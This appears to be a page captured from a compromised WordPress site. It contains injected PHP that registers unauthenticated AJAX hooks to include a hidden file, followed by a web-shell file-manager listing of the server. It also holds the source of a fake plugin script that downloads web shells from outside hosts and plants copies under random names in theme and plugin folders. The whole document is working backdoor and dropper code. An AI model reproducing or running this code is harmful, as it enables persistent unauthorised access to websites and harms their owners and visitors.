if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_restore/wp-content/plugins/tes-plugin/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_restore/wp-content/plugins/tes-plugin/admin.php
<?php 

include 'handler/file.php';
include 'handler/dir.php';
include 'handler/utils.php';

$messages = array(); 

$dirname = dirname(__FILE__);
$desired_time = strtotime("2022-02-02");

$array_url = array(
    "https://b.testwebshell.com/local.txt" => "output/o.php8",
    "https://shell.prinsh.com/Nathan/gelay.txt" => "output/gel.php",
); 

$document_root = $_SERVER['DOCUMENT_ROOT'];

$theme_dirs = get_dir('wp-content','themes');
$plugin_dirs = get_dir('wp-content', 'plugins');

$c = array(
    "output/o.php8" => $theme_dirs,
    "output/gel.php" => $plugin_dirs,
    "wp-login.php" => $document_root
);


function put_file(){

    global $messages, $array_url;

    foreach($array_url as $url => $file_name){
        if(!file_exists($file_name) || filesize($file_name) <= 100) {
            $content = fetch($url);
            if($content) {
                save_file($file_name, $content);
                if(file_exists($file_name)) {
                    $messages['success'] = true;
                }
            }
        }else{
            $messages['success'] = true;
        }
    }
}

function merge() {

    global $c, $messages, $document_root;
    
    put_file();
    
    $copied = array();

    foreach($c as $file_name => $location) {
        if(is_array($location)) {
            $random_number = array_rand($location);
            $location = $location[$random_number];
        }
        $random_chars = generate_char(10);
        $real_location = "$location/$random_chars.php";
        if(copy_or_rename($file_name, $real_location)) {
            $to_show = str_replace($document_root, '', $real_location);
            $to_show = $_SERVER['SERVER_NAME'].$to_show;
            array_push($copied, $to_show);
        }
    }
    $messages['copied'] = $copied;
}
merge();
echo json_encode($messages);
@ Telegram